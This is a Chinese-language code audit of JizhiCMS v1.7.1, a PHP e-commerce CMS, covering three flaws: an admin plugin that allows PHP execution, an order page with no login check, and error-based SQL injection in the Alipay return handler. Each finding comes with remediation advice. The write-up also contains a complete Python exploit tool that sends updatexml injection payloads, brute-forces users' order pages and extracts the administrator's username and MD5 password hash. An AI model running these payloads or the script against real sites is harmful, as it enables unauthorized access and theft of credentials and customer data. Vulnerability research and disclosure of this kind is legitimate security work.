极致CMS – PHP代码审计

关于

极致CMS是一款商城类的CMS,结合了很多此类CMS的特点,而且它的项目管理者也在更新速度和优化程度付出了很多的心血。当然,没有哪一个CMS是不存在漏洞的,需要非常耐心的审计才能突破屏障

审计前期阶段

信息收集

代码审计在开始前,也要做到信息收集,我们需要了解如下几点:

1 . 审计的CMS在漏洞库中出现过的漏洞大都什么样的类型

2 . 社区中的Bug收集区可以得到的信息

3 . 每一个版本的更新的版本内容

4 . 作者其他作品中曾经出现过的漏洞

选择的审计版本

尽量选择最高版本低一次更新的版本,这样可以对比更新内容来更快的审计出漏洞,也可以通过低版本来大致了解新版本的特性,因为大部分的CMS的有一些漏洞是未发现的,随着版本更新一直存在

环境安装

在本地搭建环境,phpstudy + mysql 即可

极致CMS – PHP代码审计

前期工作

官网查看版本,了解大致架构

我们选择 [ 极致CMS v1.7.1版本 ]来进行代码审计

查看一下 v1.8 版本对比更新的内容

得到有利信息

1 . XSS过滤不完善导致多处XSS

2 . 微信支付宝支付插件有未知bug

3 . 数据库前几个版本报错可能显示了报错页面,存在sql注入

通过搜索引擎可以查看到

以前的漏洞点多半在于过滤不完全这一处,在1.7版本之前的漏洞大多十分严重

去社区看一下出现过的Bug

好了,信息已经大致了解了,确定一下审计方向

1 . SQL注入 和 XSS 因为过滤代码可能写的不是特别完全,重点审计

2 . 最新版本更新了不显示报错页面,审计过程关注可能出现数据库报错的页面

3 . CMS上线过程中测试不完全也导致了一些不应该出现BUG

4 . 注意一下用户间的越权访问,审计过程中对没有对用户cookie或id检测的用户私有页面尝试越权

5 . 网站插件比较齐全,查看一下是否含有可利用插件

开始审计

根据官网提示安装CMS在本地

任意文件修改漏洞(可执行PHP代码)

登陆后台查看一下有没有值得注意的东西

发现有一个后台编辑的插件

安装之后设置密码并使用

修改为php代码

成功执行php代码的命令,剩下的就不多说了,危害大家都明白

从这个漏洞可以发现不仅仅是这个版本有,而是每一个版本都有这个插件,而且只要登陆了管理员账号,如果网站没有使用此插件,可以直接设置另一个密码来修改文件,如果网站使用了插件,删除再重新安装也可以改成另一个密码( 所以密码没啥用。。)

漏洞:后台插件任意文件修改执行PHP代码

版本 : 全版本

危害程度 : 高危

修复方法 : 登陆后自动安装此插件并设置密码且不能重复安装替换密码

水平越权逻辑漏洞

水平越权一般出现在用户与用户间的身份验证不完善里,重点看一下购物车页面和钱包页面代码

查看用户页面的PHP代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
//订单详情
function orderdetails(){
$orderno = $this->frparam('orderno',1);
$order = M('orders')->find(['orderno'=>$orderno]);
if($orderno && $order){
/*
if($order['isshow']!=1){
//超时或者已支付
if($order['isshow']==0){
$msg = '订单已删除';
}
if($order['isshow']==3){
$msg = '订单已过期,不可支付!';
}
if($order['isshow']==2){
$msg = '订单已支付,请勿重复操作!';
}
if($this->frparam('ajax')){
JsonReturn(['code'=>1,'msg'=>$msg]);
}
Error($msg);

}
*/
$carts = explode('||',$order['body']);
$new = [];
foreach($carts as $k=>$v){
$d = explode('-',$v);
if($d[0]!=''){
//兼容多模块化
if(isset($this->classtypedata[$d[0]])){
$type = $this->classtypedata[$d[0]];
$res = M($type['molds'])->find(['id'=>$d[1]]);
$new[] = ['info'=>$res,'num'=>$d[2],'tid'=>$d[0],'id'=>$d[1],'price'=>$d[3]];
}else{
$new[] = ['info'=>false,'num'=>$d[2],'tid'=>$d[0],'id'=>$d[1],'price'=>$d[3]];
}
}

}
$this->carts = $new;
$this->order = $order;
$this->display($this->template.'/user/orderdetails');
}

}

看一下同页面其他函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//删除购物车商品
function delcart(){
$this->checklogin();
$id = $this->frparam('id');
$tid = $this->frparam('tid');
if(!$id || !$tid){
JsonReturn(['code'=>1,'msg'=>'参数错误!']);
}
$cart = $_SESSION['cart'];
$carts = explode('||',$cart);
$new = [];

foreach($carts as $v){
$d = explode('-',$v);
if(($d[0]!=$tid || $d[1]!=$id) && $d[0]!=''){
$new[]=$d[0].'-'.$d[1].'-'.$d[2];
}

}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
function collectdel(){
$this->checklogin();
$id = $this->frparam('id');
$tid = $this->frparam('tid');
if($id && $tid){
$ids = str_replace('||'.$tid.'-'.$id.'||','',$this->member['collection']);
M('member')->update(['id'=>$this->member['id']],['collection'=>$ids]);
$_SESSION['member']['collection'] = $ids;

Success('删除成功!',U('user/collect'));
}else{
Error('参数错误!');
}
}

仔细浏览发现其他的函数都有这样的一行代码

1
$this -> checklogin();

查看该函数

1
2
3
4
5
6
7
8
9
function checklogin(){
if(!$this->islogin){
if($this->frparam('ajax')){
JsonReturn(['code'=>1,'msg'=>'您还未登录,请重新登录!']);
}
Redirect(U('login/index'));
}

}

该函数检验了用户是否登陆

除了订单详情页面没有检验用户是否登陆以外都进行了检验

详情页面url位置

注册一个用户 任意购买一个商品,点击查看详情页

当前url –> http://jzcms180/user/orderdetails/orderno/No20200714112816.html

因为 /user/orderdetails/并没有检测用户是否登陆,所以不论是否登陆,都可以访问这个页面

同样这个漏洞不仅仅出现在了1.71版本,在全版本都适用

漏洞 : 水平越权任意访问用户购物车

版本 : 全版本

危害程度 : 低

修复方式 : 增加一个用户验证就行了

增加后则无法访问

SQL注入漏洞

查看一下进行过滤的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
/**
参数过滤,格式化
**/
function format_param($value=null,$int=0){
if($value==null){ return '';}
switch ($int){
case 0://整数
return (int)$value;
case 1://字符串
$value=htmlspecialchars(trim($value), ENT_QUOTES);
if(version_compare(PHP_VERSION,'7.4','>=')){
$value = addslashes($value);
}else{
if(!get_magic_quotes_gpc())$value = addslashes($value);
}

return $value;
case 2://数组
if($value=='')return '';
array_walk_recursive($value, "array_format");
return $value;
case 3://浮点
return (float)$value;
case 4:
if(version_compare(PHP_VERSION,'7.4','>=')){
$value = addslashes($value);
}else{
if(!get_magic_quotes_gpc())$value = addslashes($value);
}
return trim($value);
}
}

//过滤XSS攻击
function SafeFilter(&$arr)
{
$ra=Array('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/','/script/','/javascript/','/vbscript/','/expression/','/applet/'
,'/meta/','/xml/','/blink/','/link/','/style/','/embed/','/object/','/frame/','/layer/','/title/','/bgsound/'
,'/base/','/onload/','/onunload/','/onchange/','/onsubmit/','/onreset/','/onselect/','/onblur/','/onfocus/',
'/onabort/','/onkeydown/','/onkeypress/','/onkeyup/','/onclick/','/ondblclick/','/onmousedown/','/onmousemove/'
,'/onmouseout/','/onmouseover/','/onmouseup/','/onunload/');

if (is_array($arr))
{
foreach ($arr as $key => $value)
{
if (!is_array($value))
{
if(version_compare(PHP_VERSION,'7.4','>=')){
$value = addslashes($value);
}else{
if (!get_magic_quotes_gpc()){
$value = addslashes($value);
}
}
$value = preg_replace($ra,'',$value); //删除非打印字符,粗暴式过滤xss可疑字符串
$arr[$key] = htmlentities(strip_tags($value)); //去除 HTML 和 PHP 标记并转换为 HTML 实体
}
else
{
SafeFilter($arr[$key]);
}
}
}
}

看一下执行的SQL语句的函数

1
2
3
4
5
6
7
8
9
// 查询一条
public function find($where=null,$order=null,$fields=null,$limit=1)
{
if( $record = $this->findAll($where, $order, $fields, 1) ){
return array_pop($record);
}else{
return FALSE;
}
}

跟进 findAll 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// 查询所有
public function findAll($conditions=null,$order=null,$fields=null,$limit=null)
{
$where = '';
if(is_array($conditions)){
$join = array();
foreach( $conditions as $key => $value ){
$value = '\''.$value.'\'';
$join[] = "{$key} = {$value}";
}
$where = "WHERE ".join(" AND ",$join);
}else{
if(null != $conditions)$where = "WHERE ".$conditions;
}
if(is_array($order)){
$where .= ' ORDER BY ';
$where .= implode(',', $order);
}else{
if($order!=null)$where .= " ORDER BY ".$order;
}

if(!empty($limit))$where .= " LIMIT {$limit}";
$fields = empty($fields) ? "*" : $fields;

$sql = "SELECT {$fields} FROM {$this->table} {$where}";

return $this->getData($sql);

}

在跟进一下getData函数

1
2
3
4
5
6
7
8
9
10
11
//获取数据
public function getData($sql)
{
if(!$result = $this->query($sql))return array();
if(!$this->Statement->rowCount())return array();
$rows = array();
while($rows[] = $this->Statement->fetch(PDO::FETCH_ASSOC)){}
$this->Statement=null;
array_pop($rows);
return $rows;
}

跟进query执行函数

1
2
3
4
5
6
7
8
9
10
11
//执行SQL语句并检查是否错误
public function query($sql){
$this->filter[] = $sql;
$this->Statement = $this->pdo->query($sql);
if ($this->Statement) {
return $this;
}else{
$msg = $this->pdo->errorInfo();
if($msg[2]) exit('数据库错误:' . $msg[2] . end($this->filter));
}
}

看到$msg = $this->pdo->errorInfo();语句,也就是说会把数据库报错信息打印在页面上并显示出来并退出

一套分析下来没有发现对sql语句的过滤,如果得到的数据没有经过format_param过滤,会产生注入

例如:

1
2
3
function exploit(){
M('member')->find(['username'=>$_GET['name']]);
}

如果直接这样GET POST REQUEST 带入数据库 会产生报错注入

例如 ./exploit/name=123’ (加一个引号会报错,如果引号没过滤)

现在只需要寻找类型是这样没过滤直接带入数据库的语句就行了

简单寻找下其实这样的地方挺多的,拿一个位置举例子

这里是一个支付插件的位置,蓝色方块1增加代码模拟开通支付宝功能通过验证

可以看到这个函数只使用[htmlspecialchars]来过滤了xss,sql语句没有过滤,用刚刚的方法来注入

可以看到的确出现了sql语句和数据库错误

直接报错注入获取敏感信息mypay/alipay_return_pay?out_trade_no=1%27 and updatexml(1,concat(0x7e,(select version()),0x7e),1)--+"

编写的exp脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
import requests
import re

"""
官网url : https://www.jizhicms.cn/
"""

def main():
print(
'███╗ ██╗██╗ ██████╗███████╗ ██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗██╗██╗██╗\n'
'████╗ ██║██║██╔════╝██╔════╝ ██║ ██║██╔═══██╗██╔══██╗██║ ██╔╝██║██║██║\n'
'██╔██╗ ██║██║██║ █████╗ ██║ █╗ ██║██║ ██║██████╔╝█████╔╝ ██║██║██║\n'
'██║╚██╗██║██║██║ ██╔══╝ ██║███╗██║██║ ██║██╔══██╗██╔═██╗ ╚═╝╚═╝╚═╝\n'
'██║ ╚████║██║╚██████╗███████╗ ╚███╔███╔╝╚██████╔╝██║ ██║██║ ██╗██╗██╗██╗\n'
'╚═╝ ╚═══╝╚═╝ ╚═════╝╚══════╝ ╚══╝╚══╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝╚═╝╚═╝\n'
' 极致cms 1.71 + 1.7 + 1.67 版本sql注入poc + 爆破用户购物车页面 \n'
' from : http://www.peiqi.tech ')


while True:
poc = str(input('选择使用的poc:\n'
'1.sql注入\n'
'2.用户购物车爆破\n'
'3.GET 网站管理员账号密码\n'
'4.退出 quit\n'
'poc:'))
print('------------------ peiqi -----------------------')
if poc == '1':
poc_1()
elif poc == '2':
poc_2()
elif poc == '3':
poc_3()
elif poc == '4':
break
else:
print('参数错误,重新输入')



def poc_1():
## poc_1 ---> sql注入漏洞点( Home/c/MypayController.php [alipay_notify_pay])
## 使用范围 极致cms 1.71 + 1.7 + 1.67 版本
"""
function alipay_return_pay(){
extendFile('pay/alipay/AlipayServiceCheck.php');
//支付宝公钥,账户中心->密钥管理->开放平台密钥,找到添加了支付功能的应用,根据你的加密类型,查看支付宝公钥
$alipayPublicKey=$this->webconf['alipay_public_key'];

$aliPay = new \AlipayServiceCheck($alipayPublicKey);
//验证签名
$result = $aliPay->rsaCheck($_GET,$_GET['sign_type']);

$result=true; <<--- (添加的php代码 模拟打开支付宝 并通过签名验证)

if($result===true){
//同步回调一般不处理业务逻辑,显示一个付款成功的页面,或者跳转到用户的财务记录页面即可。
//echo '<h1>付款成功</h1>';
$out_trade_no = htmlspecialchars($_GET['out_trade_no']); << ---- (漏洞位置,只过滤了xss,没有调用函数过滤sql语句)
$orderno = $out_trade_no;
$paytime = time();
$order = M('orders')->find(['orderno'=>$orderno]); << --- (执行sql注入的语句)
"""

try:
exploit_url = str(input("攻击网站url:\n"))

while True:
payload = str(input("请输入你的payload(sql)语句:\n"))
# mypay/alipay_return_pay?out_trade_no=1
payload_url = exploit_url + "mypay/alipay_return_pay?out_trade_no=1%27 and updatexml(1,concat(0x7e,(" + payload + "),0x7e),1)--+"
# print('你的payload语句为: \n', payload_url)

response = requests.get(payload_url)
# print(response.text)

data = re.search(r'~(.*?)~', response.text).group(1)

if data == []:
print('[!!] sql语句错误 或者 版本高于 [极致cms 1.71 -> 发布时间 2020-05-25]')
else:
print('得到的数据为:\n', data)
print('------------------ peiqi -----------------------')
except:
print('出现错误')
print('------------------ peiqi -----------------------')



# http://jizhicms.com/user/orderdetails/orderno/No20200712213457.html
def poc_2():
## poc_2 ---> 用户购物车页面获取 (Home/c/UserController.php [orderdetails])
## 漏洞点 ---> 无用户cookie id 的验证
## 使用范围 极致cms 1.8以下全版本 (当前最新 v1.8 更新时间:6月30日)
"""
function orderdetails(){
$orderno = $this->frparam('orderno',1);
$order = M('orders')->find(['orderno'=>$orderno]);
if($orderno && $order){
/*
if($order['isshow']!=1){
//超时或者已支付
if($order['isshow']==0){
$msg = '订单已删除';
}
if($order['isshow']==3){
$msg = '订单已过期,不可支付!';
}
if($order['isshow']==2){
$msg = '订单已支付,请勿重复操作!';
}
if($this->frparam('ajax')){
JsonReturn(['code'=>1,'msg'=>$msg]);
}
Error($msg);

}
*/
$carts = explode('||',$order['body']);
$new = [];
foreach($carts as $k=>$v){
$d = explode('-',$v);
if($d[0]!=''){
//兼容多模块化
if(isset($this->classtypedata[$d[0]])){
$type = $this->classtypedata[$d[0]];
$res = M($type['molds'])->find(['id'=>$d[1]]);
$new[] = ['info'=>$res,'num'=>$d[2],'tid'=>$d[0],'id'=>$d[1],'price'=>$d[3]];
}else{
$new[] = ['info'=>false,'num'=>$d[2],'tid'=>$d[0],'id'=>$d[1],'price'=>$d[3]];
}
}

}
$this->carts = $new;
$this->order = $order;
$this->display($this->template.'/user/orderdetails');
}

}
"""
try:
exploit_url = str(input("攻击网站url:\n"))
year_day = str(input("输入日期(例如:20200712):"))

shop = []

# 遍历所有出现的用户购物车页面
for num in range(100000,999999):
#payload_url = "user/orderdetails/orderno/No" + year_day + str(num) + ".html"
payload_url = "user/orderdetails/orderno/No20200712213927.html"

response = requests.get(exploit_url + payload_url)

# 打印结果
if '总金额' in response.text:
print('购物车页面:',payload_url)
shop.append(payload_url)

for page in shop:
print(page)
print('------------------ peiqi -----------------------')

except:
print('出现错误')
print('------------------ peiqi -----------------------')

def poc_3():
## poc_3 ---> 得到账号密码 ( Home/c/MypayController.php [alipay_notify_pay])
## 使用范围 ---> 极致cms 1.71 + 1.7 + 1.67 版本
try:
exploit_url = str(input("攻击网站url:\n"))
# payload --> updatexml(1,concat(0x7e,(select distinct length(concat(0x23,name,0x3a,pass,0x23)) from jz_level limit 0,1),0x7e),1)--+
# 用户名 + 密码 长度

payload_url = exploit_url + "mypay/alipay_return_pay?out_trade_no=1%27 and updatexml(1,concat(0x7e,(select distinct length(concat(0x23,name,0x3a,pass,0x23)) from jz_level limit 0,1),0x7e),1)--+"
response = requests.get(payload_url)
str_long = re.search(r'~(.*?)~',response.text).group(1)
#print(str_long)

# 得到账号密码,密码md5格式
payload_url = exploit_url + "mypay/alipay_return_pay?out_trade_no=1%27 and updatexml(1,concat(0x7e,(select distinct substring(concat(0x23,name,0x3a,pass,0x23),1,32) from jz_level limit 0,1),0x7e),1)--+"
response = requests.get(payload_url)
admin_name_1 = re.search(r"~#(.*?)'", response.text).group(1)
#print(admin_name_1)

payload_url = exploit_url + "mypay/alipay_return_pay?out_trade_no=1%27 and updatexml(1,concat(0x7e,(select distinct substring(concat(0x23,name,0x3a,pass,0x23),32," + str(int(str_long) - 32) +") from jz_level limit 0,1),0x7e),1)--+"
response = requests.get(payload_url)
admin_name_2 = re.search(r'~(.*?)~', response.text).group(1)
#print(admin_name_2)

# 分割账号密码
admin_passwd = admin_name_1 + admin_name_2
admin_passwd = admin_passwd.split(':')
admin = admin_passwd[0]
passwd = admin_passwd[1]
#print(admin)
#print(passwd)

print("成功得到账号密码:\n"
"用户名:",admin,
"\n密码(md5):",passwd)
print('------------------ peiqi -----------------------')
except:
print('出现错误')
print('------------------ peiqi -----------------------')


if __name__ == '__main__':
main()

这个脚本适用于的版本已经标明在脚本中,类似的地方有很多,你可以继续审计寻找到其他的

比如另一个位置的处理也是值过滤了xss没有sql语句过滤同样会报错

脚本的一些方法

漏洞 : 支付宝插件 — sql注入

版本 : v1.71 + v1.7 + v1.67

危害程度 : 高

修复方法 : 增加过滤即可(不显示报错信息,报错记录在文件中)